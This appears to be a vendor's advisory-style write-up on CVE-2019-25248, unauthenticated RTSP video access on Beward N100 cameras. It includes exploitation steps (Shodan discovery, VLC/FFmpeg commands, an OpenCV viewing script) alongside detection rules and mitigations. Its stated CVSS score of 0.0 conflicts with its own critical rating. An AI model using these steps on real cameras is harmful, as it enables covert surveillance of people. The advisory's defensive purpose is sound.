CVE-2019-25248
Executive Summary
CVE-2019-25248 is a critical unauthenticated vulnerability in the Beward N100 IP camera running firmware version M2.1.6.04C014. The flaw allows remote attackers to access live video streams via RTSP without any authentication. This poses a severe privacy and surveillance risk, as any internet-facing camera can be trivially accessed. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and potential for mass surveillance. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): High (H) – Full video stream disclosure.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Critical. The vulnerability is trivial to exploit and exposes sensitive video feeds.
Deep Dive & Mechanics
The Beward N100 camera's RTSP (Real-Time Streaming Protocol) server does not enforce any authentication mechanism. By default, the camera listens on TCP port 554 for RTSP requests. An attacker can send a simple DESCRIBE request to the RTSP endpoint (e.g., rtsp://<camera_ip>:554/) and receive the video stream without providing any credentials. The lack of authentication is due to a missing or misconfigured access control check in the firmware's RTSP implementation.
The vulnerability is rooted in the camera's web and streaming services, which fail to validate user identity before granting access to the video feed. This is a classic case of CWE-306: Missing Authentication for Critical Function.
Vulnerable vs. Patched Code
No patched firmware version is available. The vulnerable code is proprietary and not publicly disclosed. However, the logic flaw is clear: the RTSP server does not check for valid credentials before streaming.
Vulnerable behavior (pseudocode):
void handle_rtsp_request(request) {
// No authentication check
stream_video(request);
}
Expected patched behavior (pseudocode):
void handle_rtsp_request(request) {
if (!authenticate(request)) {
return 401 Unauthorized;
}
stream_video(request);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Beward N100 camera with firmware M2.1.6.04C014 exposed on the network.
- Any RTSP client (e.g., VLC Media Player, FFmpeg, or custom Python script).
Exploitation Steps:
- Identify the camera's IP address (e.g., via Shodan or network scan).
- Use VLC to open the RTSP stream:
vlc rtsp://<camera_ip>:554/ - Alternatively, use FFmpeg to record the stream:
ffmpeg -i rtsp://<camera_ip>:554/ -c copy output.mp4 - For automated scanning, use a Python script:
import cv2 cap = cv2.VideoCapture("rtsp://<camera_ip>:554/") while True: ret, frame = cap.read() if ret: cv2.imshow('Stream', frame) if cv2.waitKey(1) & 0xFF == ord('q'): break cap.release() cv2.destroyAllWindows()
Expected Outcome: Live video feed is displayed or recorded without any authentication.
Blue Team
Detection & Prevention:
- Monitor network traffic for RTSP
DESCRIBErequests without prior authentication. - Use network segmentation to isolate IP cameras from the internet.
- Implement firewall rules to restrict access to RTSP ports (554) to trusted IPs only.
- Deploy an IDS/IPS with custom signatures to detect unauthenticated RTSP access.
Indicators of Compromise (IOCs)
- Network Traffic: RTSP
DESCRIBErequests to port 554 without preceding authentication. - Device Behavior: Camera responds to RTSP requests without requiring credentials.
- Shodan Search: Devices with "Beward N100" and open port 554.
- Logs: Absence of authentication logs for RTSP connections.
Detection Engineering
YARA Rule
rule CVE_2019_25248_Beward_RTSP_Unauth {
meta:
description = "Detects unauthenticated RTSP access to Beward N100 cameras"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25248"
strings:
$rtsp_describe = "DESCRIBE rtsp://"
$beward_header = "Beward"
condition:
$rtsp_describe and $beward_header
}
Sigma Rule
title: Unauthenticated RTSP Access to Beward N100 Camera
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects RTSP DESCRIBE requests to Beward N100 cameras without prior authentication
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_port: 554
app_protocol: rtsp
rtsp.method: DESCRIBE
condition: selection
falsepositives:
- Legitimate internal monitoring systems
level: high
Suricata Rule
alert tcp any any -> any 554 (msg:"CVE-2019-25248 - Unauthenticated RTSP DESCRIBE to Beward N100"; flow:to_server; content:"DESCRIBE"; nocase; content:"rtsp://"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the camera: Place the camera on a separate VLAN with strict firewall rules.
- Disable RTSP if not needed: If video streaming is not required, disable the RTSP service via the camera's web interface.
- Use a VPN: Access the camera only through a VPN tunnel to prevent direct internet exposure.
- Monitor for patches: Check Beward's official website for firmware updates. If none are available, consider replacing the device.
Long-term Fix:
- The vendor must release a firmware update that implements authentication for RTSP streams. Until then, the device remains vulnerable.
Valters IT